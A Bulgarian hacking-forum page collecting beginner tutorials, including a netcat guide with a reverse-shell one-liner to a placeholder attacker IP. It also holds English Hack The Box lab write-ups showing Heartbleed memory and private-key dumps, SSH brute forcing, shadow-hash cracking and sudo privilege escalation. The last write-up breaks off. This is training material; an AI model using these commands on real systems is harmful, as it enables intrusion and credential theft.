Преминете към съдържанието

МЕУ организира кампания за пентестове в държавната администрация

Целта на кампанията е да подобри киберсигурността в държавната администрация, като участието в нея е доброволно и не се обвързва с възнаграждение.
Прочети повече за програмата

Добре дошли в Хакинг.БГ! 

Всеки един от нас стои на раменете на гигантите, споделили знанията и опита си с нас.

Този форум е нашият начин да върнем жеста за бъдещите и текущите кадри в киберсигурността.

Стремим се да предоставим платформа, където членовете могат да развиват своите умения, като се дава приоритет на етиката, сигурността и поверителността!

Относно този клуб

Мисията на Булхак е да развива индустрията за киберсигурност в България. Правим това, като предоставяме безплатни учебни статии и уроци в допълнение към иновативни курсове/симулации на нашата хакерска общност. Като допълнение към това, ние предоставяме консултантски услуги, които ви помагат да защите вашата софтуерна и хардуерна конфигурация чрез тестване на човешкия фактор срещу усъвършенствани атаки тип социално инженерство. Провеждаме частни разследвания за сериозни организации и хора по целия свят в партньорство с Bodyguard and Security Association (BSA). Моята визия за Булхак Академи е да се превърне в основата за създаването на престижно училище по киберсигурност, което ще предостави на нашите студенти възможност след дипломирането си незабавно да започнат работа по реални ангажименти и да се учат от по-опитните хакери в индустрията.
  1. Какво ново в този клуб?
  2. Неткат е един от първите инструменти за пентестинг на мрежи и е толкова версатилен и удобен, че всеки един от нас трябва задължително да го разбира и вероятно често използва. Неткат чете и пише информация във връзки посредством TCP или UDP. 1. Свързване към TCP / UDP Неткат може да работи както в client така и в server режим. Можем да използваме инструмента, за да се свържем с всеки порт, който би бил отворен. Например, за да се свържем с даден порт на далечна машина пишем следното: nc -n -v 192.168.0.200 110 nc е псевдонима на неткат. аргументите: -n позволява да пропуснем DNS резолюцията -v позволява да направим комуникацията вербозна, сиреч да излизат символите на терминала След това следва дестинацията, а именно IP-то на далечната машина и последно е порта, с който искаме да усъществим контакт (порт 110). kali@kali$ nc -n -v 192.168.0.200 110 (UNKNOWN) [192.168.0.200] 110 (pop3) open +OK <666937.8205@localhost>, POP3 server ready От output-а разбираме, че връзката е усъществена успешно и порта е отворен. След това разбираме, че сървъра работи и е принтирал сървърно 'welcome' съобщение и ни дава логин промпт, което е стандартно в случая. За да се автентикираме: kali@kali$ nc -n -v 192.168.0.200 110 (UNKNOWN) [192.168.0.200] 110 (pop3) open +OK <666937.8205@localhost>, POP3 server ready USER test +OK test is known here. PASS test -ERR Username or password is invalid or incorrect. quit +OK localhost server closing down. Не успяхме да се автентикираме, но успяхме да комуникираме с дадения сървис на порт 110 посредством неткат. 2. Слушане за връзки Както вече беше споменато, неткат може да работи и в режим на сървър и в режим на клиент. За да използваме неткат, като метод на прихващане на обратни връзки: kali@kali$ nc -nvlp 1234 listening on [any] 1234 От горната команда разбираме следното: Неткат, не прави днс резолюция, използвай вербозен аутпут, слушай на порт 1234. Netcat -n (no DNS resolution) -v (verbose mode) -l (listen) -p (port) 1234 След като сме сетъпнали слушащ за обратна връзка порт, единственото нещо, което трябва да направим е да използваме неткат, за да се свържем с дадения порт: kali@kali$ nc -nv 192.168.0.191 1234 (UNKNOWN) [192.168.0.191] 1234 (?) open И какво сега? Ами в най-простия вариант можем да изпратим информация например: kali@kali$ nc -nv 192.168.0.191 1234 (UNKNOWN) [192.168.0.191] 1234 (?) open here is base64 encoded code to copy and paste onto the target machine Това, което сме написали съответно ще се трансферира на сървъра от клиента. По този начин можем да извличаме или качваме информация от и към сървъра/клиента. Като това е двупосочна комуникация (клиент <-> сървър). 3. Трансфериране на файлове Неткат може да бъде използван, за да се трансферират файлове, както в текстов вариант, така и в бинарен. Сървъра, който слуша за обратна връзка в случая трябва да записва входящата информация във файл: C:\instruments\nc.exe -nvlp 1234 > incoming.exe listening on [any] 1234 В случая използваме оператора 'по-голямо от' (>) , за да прехвърлим входящата информация към файл, който искаме. На атакуващата машина ще "push"-нем някакъв файл, например 'wget.exe' в посока сървъра на далечния хост: kali@kali$ nc -nv 192.168.0.200 1234 < /usr/share/windows-resources/binaries/wget.exe (UNKNOWN) [192.168.0.200] 1234 (?) open Забележете, че тук използвам оператора по-малко от (<), за да трансферирам всичко във файл wget.exe към порт 1234 на IP 192.168.0.200. C:\instruments\nc.exe -nvlp 1234 > incoming.exe listening on [any] 1234 connect to [192.168.0.200] from (UNKNOWN) [192.168.0.191] 44323 Трябва да изчакаме малко, защото не получаваме статус за това дали файла е качен изцяло. 4. Далечно администриране с неткат Едно от най-добрите качества на неткат е възможността да се пренасочи дадена команда към някакъв поток или порт. Аргумента '-е' позволява да се специфицира файлово име, което да се екзекутира след усъществена връзка. Това например ни дава възможността да 'spawn'-нем шел през неткат, като зададем например bash или cmd като файл с аргумента '-е': 4.1 BIND shell - директна връзка В случая виждаме, че атакуващата страна спалнва шел веднага след свързването с таргета, поради задаването на /bin/bash шел с '-e', когато се създава слушащ сървър. Също така, връзката наследява привилегиите на юзъра, който е създал слушащия сървър. 4.2 Reverse Shell - обратна връзка Представете си, че таргета се намира във вътрешна мрежа и няма контрол върху рутера и не може да прави редиректи например. В случая таргета прави обратна връзка към атакуващата страна, предоставяйки шел: За домашно ви препоръчвам да разберете какво прави следното и кога можем да го използваме: kali@kali$ mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
  3. В Кали имаме възможността да си опростяваме работата и да си позволим да спестим малко време благодарение на "псевдоними". Псевдонимите са параметри, които създаваме. Стойността на тези параметри, която задаваме е реално някаква команда. Например: alias alive='nmap -n -sn -T4 $IP/24' В тази сесия първо създадохме псевдоним, наречен „alive“, използвайки командата „alias“, която свързва името „alive“ с командата nmap „nmap -n -sn -T4 $IP/24“. Когато напиша и стартирам 'alive' в терминала, ще се екзекутира дадената нмап команда със съответните параметри, като $IP ще е равно на стойността, която е предварително зададена за IP параметъра - напр. IP=192.168.0.1 . Kомандата 'alias' създава само псевдонима за текущата сесия на терминала. Ако искате да направите псевдонима постоянен (персистен) в сесиите, можете да добавите командата за псевдоним към конфигурационния файл на вашия shell (като „.bashrc“ за обвивката на Bash .zshrc мисля че беше за zsh итн.). Конфигурацията малко може да се различава на базата на какъв шел използвате и коя версия на Дебиан, но генерално методиката е еднаква. За да го запаметите и да имате псевдоними за различните команди, които използвате направете следното: 1. отворете .bashrc с текстов едитър: sudo nano ~/.bashrc 2. добавете следното в края на файла: alias alive='nmap -n -sn -T4 $IP/24' 3. За да приложите промените: source ~/.bashrc или просто релог. Би трябвало сега, като напишете alive в терминала да се екзекутира съответната команда по ваш избор. Поздрави
  4. В момента се извършват много промени и работа по приоритетни за Булхак проекти, затова се отлагат видеата на този етап. Ако някой би искал да едитва видеа, докато се развива в областта на киберсигурността и да се присъедини към нашия екип - може да се свърже с мен тук.
  5. По под разбиране Кали пристига с доста инструменти за хакерство, които са златен стандарт и се използват много, но реалността е такава, че съществуват хиляди инструменти, които могат да бъдат инсталирани допълнително. APT - advanced package toolset е програма в Дебиан, която ни позволява да търсим, инсталираме, премахваме, ъпдейтваме и ъпгрейдваме системата си и инструменти. За да ъпдейтнем системната база данни: sudo apt-get update -y За да ъпгрейднем ядрото на системата си и всички инсталирани пакети до последна версия: sudo apt-get upgrade -y Да речем, че не искаме да ъпгрейднем цялата система, ами един единствен пакет(в този случай метасплойт-фреймуорк): sudo apt-get upgrade metasploit-framework apt-cache Показва повечето информация съдържаща се във вътрешната cache база данни. Например, да речем, че искаме да инсталираме някакъв пакет. Първо можем да проверим дали пакета съществува в репозиторито ('репо-то' на кратко): sudo apt-cache search python3 Ако искаме да инсталираме: sudo apt-get install python3 -y Ако искаме да деинсталираме даден пакет, както и да унищожим конфигурационни файлове и файлове, които остават след деинсталацията - добавяме --purge: sudo apt-remove --purge python3 DPKG е основния инструмент, който използваме, за да инсталираме даден пакет дали директно или индиректно от apt. Също така dpkg е препоръчителния инструмент, който използваме при офлайн инсталации, понеже не използва непременно интернет връзка. DPKG не инсталира депенденсита(dependencies). За да инсталираме .deb пакет: sudo dpkg -i program_name_1.2.3_amd64.deb
  6. Структурата на директориите е базирана на Unix File system Hierarchy Standard (FHS). Следователно всички директории в Кали са структурирани на базата на този стандард. В Уиндолс знаем, че root директорията е C:\ В Кали е / . В руут директорията има доста други директории, но като за начало тези, които ще са ви най-полезни и необходими са: /bin/ - съдържа програми, които постоянно ще използваме, като ls (list contents of a directory), cd (change dir) и други. /sbin/ - съдържа системни команди /etc/ - съдържа конфигурационни файлове за администриране на системата (например /etc/passwd) /tmp/ - съдържа временни файлове, които ще бъдат вероятно изтрити при стартиране на машината /usr - съдържа много поддиректории, които са важни за нас например: /usr/bin/ - съдържа апликации, като apt, ncat, nmap... /usr/share/ - съдържа дата файлове, които поддържат системата и програмите. Тук също ще намерим уордлисти, като инсталираме seclists и други важни данни и информация. /boot - тази директория съдържа файловете за зареждане на операционната система (bootloader). /dev - системни конфигурационни файлове /sys - съдържа конфигурационните файлове на устройства и драйвъри /proc - тази директория съдържа процесите и кърнъл информационни файлове /mnt - тази директория съдържа файлови споделени пространства, които сме mount-нали. /opt - опционални файлове, като адони, допълнителни софтуери от гитхъб и прочие /var - тази директория държи информация за бази данни, логове, сайтове ( например /var/www/html) Root директорията (/) не е същата, като root директорията на потребителя ( /root ). Всъщност root означава "корен" - в буквален смисъл е корена на дървото - всички директории започват от тук (/) нагоре. Съответно може да се подразбере, че руут директорията на юзъра е корена и началото на всички директории обвързани с този юзър.
  7. h3xu

    Valentine

    # Enumeration ### NMAP PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesnt have a title (text/html). 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_ssl-date: 2021-05-13T09:00:42+00:00; +3m55s from scanner time. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: 3m54s ### Web Application #Dirbuster ![[Pasted image 20210513120755.png]]#/dev/notes To do: 1) Coffee. 2) Research. 3) Fix decoder/encoder before going live. 4) Make sure encoding/decoding is only done client-side. 5) Don't use the decoder/encoder until any of this is done. 6) Find a better way to take notes. Both port 80 and 443 have the same functionality. The first thing we see is a woman and a bleeding heart. Weirdly enough there is an OpenSSL vulnerability called *[heartbleed](https://heartbleed.com)*. # Exploit w/ Metasploit I am running an auxiliary module to check if the vulnerability exists for this machine. Then I am going to exploit the vulnerability by dumping the information from the memory of the server. msf6 auxiliary(scanner/ssl/openssl_heartbleed) > exploit [+] 10.10.10.79:443 - Heartbeat response with leak, 65535 bytes [*] 10.10.10.79:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP action => DUMP msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run [+] 10.10.10.79:443 - Heartbeat response with leak, 65535 bytes [+] 10.10.10.79:443 - Heartbeat data stored in /root/.msf4/loot/20210513073901_default_10.10.10.79_openssl.heartble_912349.bin [*] 10.10.10.79:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed I am going to use *strings* to check the contents of the binary file produced by heartbleed. The output reveals a base64 text string. $ sudo strings /root/.msf4/loot/20210513073901_default_10.10.10.79_openssl.heartble_912349.bin 1 ⨯ [sudo] password for kali: 0&J/ u8DF ux i686; rv:45.0) Gecko/20100101 Firefox/45.0 Referer: https://127.0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== .Dl[ /m:t w wHXpq N[xckM t]Sd fwF)u` 1MC& P0N0 ["lr ["lr '760{pu .Dl[ /m:t w wHXpq N[xckM The decoded version of the text value is ***heartbleedbelievethehype*** and I guess it is a passphrase. $ printf "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" |base64 -d 1 ⨯ heartbleedbelievethehype Next thing I wanna do is search for other actions that are available on this module. msf6 auxiliary(scanner/ssl/openssl_heartbleed) > show actions Auxiliary actions: Name Description ---- ----------- DUMP Dump memory contents to loot KEYS Recover private keys from memory SCAN Check hosts for vulnerability msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set action KEYS action => KEYS msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run [*] 10.10.10.79:443 - Scanning for private keys [*] 10.10.10.79:443 - Getting public key constants... [*] 10.10.10.79:443 - 2021-05-13 11:42:28 UTC - Starting. [*] 10.10.10.79:443 - 2021-05-13 11:42:28 UTC - Attempt 0... [+] 10.10.10.79:443 - 2021-05-13 11:42:30 UTC - Got the private key [*] 10.10.10.79:443 - -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAwygXrPgZKkHSij/OeRwZ9PtI+tMvM2tvyJz5o78ZZqihjfki Yg7hnkVQH1kvrLqVz68jqlTJZEAPJajF3cvEHIcM0nMSLnd2z4lI+zlK4fU9QMO1 moJo9o2Msk0/TwMJwLqtdF1TZLBXakQPH7f2+wWIrrLByt6m+8Vmd0YpdWDQr5Hd WTA6C4+FIeVdyCIcVup6Lw0nXOKn1i5VRheHItUbZmIlhfoJHDhtGxSeqXrgMU1D Js6wkebQm0jYz095+a8SRNRl5P93R1aFTTvprdtN6y0pl/hampnDrRcabHOkBB/l 1Y6ox6YgrorgULjxstJI3n2ziQ226G3Ho4JelwIDAQABAoIBAQCWkqd5wE6CSRjt q/9deC4a04riY/CmJr2vtlXyXi52A6Pqi49YwwyW9fm0xjY/ehK+k+3brOFZ5QcK 0mYgE+iy7gwZj8k2atwTkmPp2bGKF5J0FsxWc0oS+PHWXD19c+Wheyb7gkomhNxd VDerDGCWGxXzXF6jbRi/ZvYBDvRL59YOvXmdQa3MKykGywUn+NFZvUxICyEma24K 5ABMIWm5cTmDzm5Cd5/wn5Pu4tY0TIzfoa3KnA+M8vpmd4xgRGWGpatFKrM3LqSq W0+Rr81Ty/R7lr1DkLDKp1ltvCl3pp1Lkoo3Ublk38C6gHHS3Vfs6h+QJfNgjeQu RyKqm3H5AoGBAPFMTE9WpalFjB0u+hHNbFRfRet8480wa5702AEDK/cHi0U+R9Z0 Va/qm7PtzBP/m4nUXJwZbvG9O2PKXusGmgIBc/jqSQpQriIvBb27AJiq65Jd7tJ4 AiNZm6v/bFChFmWhdZe1S4vBgnlYoRWHsu+3JJpMJFKZYYl9O/X8ZWdtAoGBAM8M F8KO2EtVQUrosnZQfn+2pLbY4n4Q66N3QaBeoqY7UipBJ1r3jIfupiw5+M1gEXvB gnQmRLwRAA7Wmsh0/eCxeOk7kgNr7W8nNdxwp0Uv06h1CtEqvFIuXab5pYG5/QKs habSXxY02QuaVgM/vXBTSOO0TC/7Rm6ORJzAxAeTAoGBAOakinBvnwuMmaAvjgJE O57uLlQoXUp9VPFskaduE7EdOecm393B90GeW9QBoccf1NlK7naa7OwOd90ry8yU 09LE9shfkQ9WDQxJrBAt1iUXgvK17Jiq80g818rw6+SqBVGBongvZ5WfkwpQSDDf M49knI0L6NA3If8cgJrg9UCFAoGBAK1DJmL23MP13UTNhAKEi8deVWp6BteOW1KZ Cr8kUqIfRDv99+wk+mIKcN7TyIQ9H4RbxEpkd+KVq2G/bxnO5WFxwogTBLZ+S9xX iLgnQaMhSdNP1rSBOcTf7hk8EqeDt9nT+6hFpbLUmMkf51iir2nfGEEM8TC56w+7 WGmA2sqnAoGAUyztn0Sc08xny1oGQXjVcVy/KsszYNfaF2y4i6tsbDsD2HfzRvbp zeSeXxopyjjMTKCIMONh88JFeJoctmsLg2eG3uFw5c+wvD+GBafFfufvf2Xz183h 05q+RVlBncSiUayk33RtWi0Csl9L3prrGKh9RLUBmkSZ/E90ATxE92w= -----END RSA PRIVATE KEY----- [*] 10.10.10.79:443 - Private key stored in /root/.msf4/loot/20210513074230_default_10.10.10.79_openssl.heartble_001596.txt [*] 10.10.10.79:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Now that I had a passphrase and a private key, I tried to login with usernames such as admin, bleed, heart, heartbleed, bleedheart, valentine and others. In the end I had to enumerate where I was mistaken and figured out that I had missed something. In the /dev/ directory there is a secondary file called *hype_key* which not only contains a HEX value of a private key but it also tells me that the owner of the private key's name is ***hype***. I have inserted the hex value to a hex-to-text and received a second private key. Now all I have done is copied the private key to a file, changed its premissions to 600 and sshed to the box with the previously found passphrase. # ssh -i web_key [email protected] Enter passphrase for key 'web_key': Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64) * Documentation: https://help.ubuntu.com/ New release '14.04.5 LTS' available. Run 'do-release-upgrade' to upgrade to it. Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3 hype@Valentine:~$ There are many ways to achieve root on the machine. The output from the *linuxprivchecker.py* revealed SUID files of interest, processes such as tmux(owned by root) running a *dev_sess* socket and DirtyCow kernel exploit among others. I have chosen to go with the tmux one to save up some time. hype@Valentine:~/Desktop$ ps aux ...snip... root 1020 0.0 0.1 26416 1672 ? Ss 01:59 0:05 /usr/bin/tmux -S /.devs/dev_sess ...snip... hype@Valentine:~/Desktop$ tmux -S /.devs/dev_sess root@Valentine:/home/hype/Desktop# whoami root
  8. h3xu

    Sunday

    # Enumeration Stage ### NMAP There is a firewall that is filtering our requests. To bypass it I have ran the script with the -sS and -A tags. 1. sS (TCP SYN scan) SYN scan is the default and most popular scan option for good reasons. It can be performed quickly, also relatively unobtrusive and stealthy since it never completes TCP connections. SYN scan works connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is listening (open), while a RST (reset) is indicative of a is received. The port is also considered open if a SYN packet (without the ACK flag) is received in TCP connect scan is the default TCP scan type when SYN scan is not an option. The service scan reveals five open ports. # nmap -p- 10.10.10.76 -sV -sC -T4 PORT STATE SERVICE VERSION 79/tcp open finger Sun Solaris fingerd |_finger: No one logged on\x0D 111/tcp open rpcbind 2-4 (RPC #100000) 22022/tcp open ssh SunSSH 1.3 (protocol 2.0) | ssh-hostkey: | 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA) |_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA) 44060/tcp open unknown 44273/tcp open rpcbind Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos ### Port 79/tcp finger **Finger** is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office location and phone number (if known), login time, idle time, time mail was last read, and the user's plan and project files. [This website(hacktricks.xyz)](https://book.hacktricks.xyz/pentesting/pentesting-finger) reveals **really** cool information on the service and ways to exploit it. # finger [email protected] 130 ⨯ Login Name TTY Idle When Where xvm xVM User < . . . . > openldap OpenLDAP User < . . . . > nobody NFS Anonymous Access < . . . . > noaccess No Access User < . . . . > nobody4 SunOS 4.x NFS Anonym < . . . . > ###### metasploit finger user enumeraion We have already enumerated some users but it doesn't hurt to try the metasploit module too. From the output we understand that there is an mysql user too. msf6 auxiliary(scanner/finger/finger_users) > run msf6 auxiliary(scanner/finger/finger_users) > run [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: sunny [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: adm [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: lp [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: uucp [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: nuucp [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: dladm [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: listen [+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: bin [+] 10.10.10.76:79 - 10.10.10.76:79 Users found: adm, bin, dladm, listen, lp, nuucp, sunny, uucp [*] 10.10.10.76:79 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ###### Command injection test # finger "/bin/ls -a /@10.10.10.76" 1 ⨯ Login Name TTY Idle When Where /bin/ls ??? -a ??? / ??? # finger "|[email protected]" Login Name TTY Idle When Where |ls ??? ### Port 111/tcp portmapper In networks protected by firewalls and other mechanisms, access to the RPC portmapper service running on port 111 is often filtered. Therefore, determined attackers can scan high port ranges (UDP and TCP ports 32771 through 34000 on ***Solaris*** hosts) to identify RPC services that are open to direct attack. You can run ***nmap*** with the ***-sR*** option to identify RPC services listening on high ports if the portmapper is inaccessible. ### Bruteforcing ssh service Found password "sunday". # hydra -I -l sunny -P /home/kali/passwords.txt -t 16 -s 22022 ssh://10.10.10.76 [delete] [DATA] attacking ssh://10.10.10.76:22022/ [22022][ssh] host: 10.10.10.76 login: sunny password: sunday 1 of 1 target successfully completed, 1 valid password found # Privilege Escalation Logging through ssh using sunny:sunday as username:password. # ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected] -p 22022 1 ⚙ Password: Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4 Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 sunny@sunday:~$ Weird file sunny@sunday:/tmp$ cat ogl_select253 SUNWtext mesa NVDAnvda nvidia Path poison attempt. Upon logging in, I tried sudo -l and I see that /root/troll does not require password to run. Upon running my guess is that it invokes a system call "id". Therefore I am creating a file /bin/bash with the name "id" and exporting the path to that file to be executed when invoked therefore root will run /bin/bash and I should privesc. Unfortunately, the attempt is unsuccessful.```bash sunny@sunday:/usr/share$ sudo -l User sunny may run the following commands on this host: (root) NOPASSWD: /root/troll sunny@sunday:/usr/share$ sudo /root/troll testing uid=0(root) gid=0(root) sunny@sunday:/tmp/$ cp /bin/bash /tmp/id sunny@sunday:/tmp/$ chmod 777 id sunny@sunday:/tmp/$ echo $PATH /usr/gnu/bin:/usr/bin:/usr/X11/bin:/usr/sbin:/sbin sunny@sunday:/tmp/$ export PATH=/tmp:$PATH sunny@sunday:/tmp/$ sudo /root/troll testing uid=0(root) gid=0(root) I have discovered a backup shadow file containing sammy's pass hash. sunny@sunday:/backup$ cat shadow.backup mysql:NP::::::: openldap:*LK*::::::: webservd:*LK*::::::: postgres:NP::::::: svctag:*LK*:6445:::::: nobody:*LK*:6445:::::: noaccess:*LK*:6445:::::: nobody4:*LK*:6445:::::: sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::: sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::: By using john, i have managed to extract the passwd from the hash. username:password == sammy:cooldude! # john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:26 0.74% (ETA: 12:51:05) 0g/s 4771p/s 4771c/s 4771C/s dtown214..balls2 cooldude! (sammy) 1g 0:00:00:43 DONE (2021-05-17 11:53) 0.02300g/s 4687p/s 4687c/s 4687C/s domonique1..chrystelle Use the "--show" option to display all of the cracked passwords reliably Session completed Changing user to sammy. I once again tested the mandatory "sudo -l" command and received a ***NOPASSWD*** for ***/usr/bin/wget***. According to [GTFO binaries](https://gtfobins.github.io/gtfobins/wget/) we can escalate privileges by downloading our own file and saving it to our victim (such as shadow) or simply use wget to read out files. sunny@sunday:/tmp$ sudo -l User sammy may run the following commands on this host: (root) NOPASSWD: /usr/bin/wget sunny@sunday:/tmp$ LFILE=/root/root.txt sunny@sunday:/tmp$ sudo wget -i $LFILE /root/root.txt: Invalid URL <fb40..ROOT FLAG>: Unsupported scheme No URLs found in /root/root.txt. sunny@sunday:/tmp$
  9. h3xu

    Spectra

    # Enumeration ## Service Scan port 80, 20, 3306 # nmap -sC -sV --script=vuln -p-65535 spectra.htb Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-09 02:45 EDT Stats: 0:00:51 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 94.15% done; ETC: 02:46 (0:00:01 remaining) Stats: 0:03:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.75% done; ETC: 02:48 (0:00:00 remaining) Stats: 0:03:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 90.91% done; ETC: 02:49 (0:00:02 remaining) Nmap scan report for spectra.htb (10.10.10.229) Host is up (0.049s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) <deleted> 80/tcp open http nginx 1.17.4 | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=spectra.htb | Found the following possible CSRF vulnerabilities: | | Path: http://spectra.htb:80/main/ | Form id: search-form-1 | Form action: http://spectra.htb/main/ <deleted> |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /testing/: Potentially interesting folder w/ directory listing |_http-server-header: nginx/1.17.4 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-vuln-cve2011-3192: | VULNERABLE: | Apache byterange filter DoS | State: VULNERABLE | IDs: CVE:CVE-2011-3192 BID:49303 | The Apache web server is vulnerable to a denial of service attack when numerous | overlapping byte ranges are requested. | Disclosure date: 2011-08-19 | References: | https://www.securityfocus.com/bid/49303 | https://www.tenable.com/plugins/nessus/55976 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192 |_ https://seclists.org/fulldisclosure/2011/Aug/175 | vulners: | cpe:/a:igor_sysoev:nginx:1.17.4: |_ CVE-2019-20372 4.3 https://vulners.com/cve/CVE-2019-20372 3306/tcp open mysql MySQL (unauthorized) ### Wordpress scanner theme, wp version, users # wpscan --url http://spectra.htb/main/ -e u 4 ⨯ _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.17 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://spectra.htb/main/ [10.10.10.229] [+] Started: Wed Jun 9 03:57:20 2021 Interesting Finding(s): [+] Headers | Interesting Entries: | - Server: nginx/1.17.4 | - X-Powered-By: PHP/5.6.40 | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://spectra.htb/main/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://spectra.htb/main/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10). | Found By: Rss Generator (Passive Detection) | - http://spectra.htb/main/?feed=rss2, <generator>https://wordpress.org/?v=5.4.2</generator> | - http://spectra.htb/main/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.4.2</generator> [+] WordPress theme in use: twentytwenty | Location: http://spectra.htb/main/wp-content/themes/twentytwenty/ | Last Updated: 2021-03-09T00:00:00.000Z | Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 1.7 | Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2 | Style Name: Twenty Twenty | Style URI: https://wordpress.org/themes/twentytwenty/ | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2' [i] User(s) Identified: [+] administrator | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) ### xmlrpc exploit w/ Burp Suite ##### Get request list all system methods POST /main/xmlrpc.php HTTP/1.1 Host: spectra.htb Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate 